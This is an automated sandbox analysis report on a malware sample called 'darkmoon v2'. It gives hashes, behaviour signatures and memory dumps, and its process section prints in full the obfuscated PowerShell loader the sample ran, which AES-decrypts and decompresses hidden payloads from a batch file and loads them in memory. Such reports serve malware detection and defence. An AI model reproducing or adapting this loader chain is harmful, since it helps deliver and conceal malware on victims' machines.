Analysis
-
max time kernel
357s -
max time network
362s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
02-06-2024 15:18
Static task
static1
Behavioral task
behavioral1
Sample
darkmoon v2/lib/AyBYMBjlvU.bat
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
darkmoon v2/lib/AyBYMBjlvU.bat
Resource
win10v2004-20240426-en
Behavioral task
behavioral3
Sample
darkmoon v2/lib/DarkMoon_Gen.exe
Resource
win10v2004-20240426-en
Behavioral task
behavioral4
Sample
darkmoon v2/start.bat
Resource
win7-20240220-en
Behavioral task
behavioral5
Sample
darkmoon v2/start.bat
Resource
win10v2004-20240426-en
General
-
Target
darkmoon v2/lib/AyBYMBjlvU.bat
-
Size
12.6MB
-
MD5
8e3d8ed6db7cb979d5d56c8b847cc965
-
SHA1
5d1ad752a988ce13da601448cdca5584610cffee
-
SHA256
9d0b440b61b239bc3406d67bf7ae8baf1ceef65923e8558ce3a3c1a3c4a5e22a
-
SHA512
d7a96420b1e61c4bc7db6c533704771e329239629201dbf34ac8a95a931da92c6e1d7ddb694a491656246b0eb491e96d194b7abccf54ef757c1aea92a9b96a0e
-
SSDEEP
49152:Hq8mcjsXbvlusR48pNIN/I/EiFTPbYWLP17DFNkKuri3NSbkpXYyr7arOR150kFB:o
Malware Config
Signatures
-
Executes dropped EXE 1 IoCs
Processes:
AyBYMBjlvU.bat.exepid process 2692 AyBYMBjlvU.bat.exe -
Loads dropped DLL 1 IoCs
Processes:
cmd.exepid process 2604 cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
AyBYMBjlvU.bat.exepid process 2692 AyBYMBjlvU.bat.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
AyBYMBjlvU.bat.exedescription pid process Token: SeDebugPrivilege 2692 AyBYMBjlvU.bat.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
cmd.exedescription pid process target process PID 2604 wrote to memory of 2692 2604 cmd.exe AyBYMBjlvU.bat.exe PID 2604 wrote to memory of 2692 2604 cmd.exe AyBYMBjlvU.bat.exe PID 2604 wrote to memory of 2692 2604 cmd.exe AyBYMBjlvU.bat.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2604 -
C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe"AyBYMBjlvU.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function PCvVf($yFrQM){ $KryQB=[System.Security.Cryptography.Aes]::Create(); $KryQB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $KryQB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $KryQB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWxz9LOIFbVN1/7cN9UWMlncfIJFIhU1cXRWWiP9bXg='); $KryQB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EIdWPSRydSjZkTvenqbEOg=='); $TSyON=$KryQB.CreateDecryptor(); $return_var=$TSyON.TransformFinalBlock($yFrQM, 0, $yFrQM.Length); $TSyON.Dispose(); $KryQB.Dispose(); $return_var;}function DJYpo($yFrQM){ $rdKbv=New-Object System.IO.MemoryStream(,$yFrQM); $nDivC=New-Object System.IO.MemoryStream; $KhHzB=New-Object System.IO.Compression.GZipStream($rdKbv, [IO.Compression.CompressionMode]::Decompress); $KhHzB.CopyTo($nDivC); $KhHzB.Dispose(); $rdKbv.Dispose(); $nDivC.Dispose(); $nDivC.ToArray();}function mCQbd($yFrQM,$cFYDO){ $nHpHM=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$yFrQM); $KnSYu=$nHpHM.EntryPoint; $KnSYu.Invoke($null, $cFYDO);}$PdisG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat').Split([Environment]::NewLine);foreach ($gyYDO in $PdisG) { if ($gyYDO.StartsWith('SEROXEN')) { $UdMrg=$gyYDO.Substring(7); break; }}$ekLHX=[string[]]$UdMrg.Split('\');$HlrJz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[0])));$ejeLz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[1])));mCQbd $ejeLz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));mCQbd $HlrJz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2692
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exeFilesize
462KB
MD5852d67a27e454bd389fa7f02a8cbe23f
SHA15330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
-
memory/2692-5-0x000007FEF520E000-0x000007FEF520F000-memory.dmpFilesize
4KB
-
memory/2692-6-0x000000001AF30000-0x000000001B212000-memory.dmpFilesize
2.9MB
-
memory/2692-7-0x0000000001F50000-0x0000000001F58000-memory.dmpFilesize
32KB
-
memory/2692-8-0x000007FEF4F50000-0x000007FEF58ED000-memory.dmpFilesize
9.6MB
-
memory/2692-9-0x000007FEF4F50000-0x000007FEF58ED000-memory.dmpFilesize
9.6MB
-
memory/2692-10-0x000007FEF4F50000-0x000007FEF58ED000-memory.dmpFilesize
9.6MB
-
memory/2692-12-0x000007FEF4F50000-0x000007FEF58ED000-memory.dmpFilesize
9.6MB
-
memory/2692-11-0x000007FEF4F50000-0x000007FEF58ED000-memory.dmpFilesize
9.6MB